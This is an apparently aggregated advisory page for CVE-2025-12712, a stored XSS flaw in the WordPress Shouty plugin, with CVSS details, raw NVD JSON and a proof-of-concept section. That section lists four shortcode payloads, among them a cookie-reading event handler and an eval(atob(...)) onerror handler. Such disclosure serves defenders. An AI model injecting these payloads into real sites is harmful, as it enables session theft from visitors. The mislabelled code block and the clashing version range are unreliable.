Security Vulnerability Report
中文
CVE-2025-12712 CVSS 6.4 MEDIUM

CVE-2025-12712

Published: 2025-11-27 03:15:58
Last Modified: 2026-04-15 00:35:42

Description

The Shouty plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the shouty shortcode in all versions up to, and including, 0.2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Shouty插件 < 0.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-12712 PoC: Stored XSS via shouty shortcode --> <!-- Requires Contributor-level access or higher in WordPress --> <!-- Method 1: Using event handler in attribute --> [shouty author="test" onmouseover="alert(document.cookie)" style="cursor:pointer"] <!-- Method 2: Using JavaScript URI in link --> [shouty url="javascript:alert('XSS')"] <!-- Method 3: Using script injection in author name --> [shouty author="<script>alert(document.domain)</script>"] <!-- Method 4: Using img tag with onerror handler --> [shouty author="test" avatar="x" onerror="eval(atob('YWxlcnQoJ1hTUyBFeHBsb2l0ZWQnKQ=='))"]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12712", "sourceIdentifier": "[email protected]", "published": "2025-11-27T03:15:58.110", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Shouty plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the shouty shortcode in all versions up to, and including, 0.2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/shouty/tags/0.2.1/shouty.php#L138", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/shouty/tags/0.2.1/shouty.php#L139", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/28252c89-a2db-441a-93e6-f051f3649fea?source=cve", "source": "[email protected]"}]}}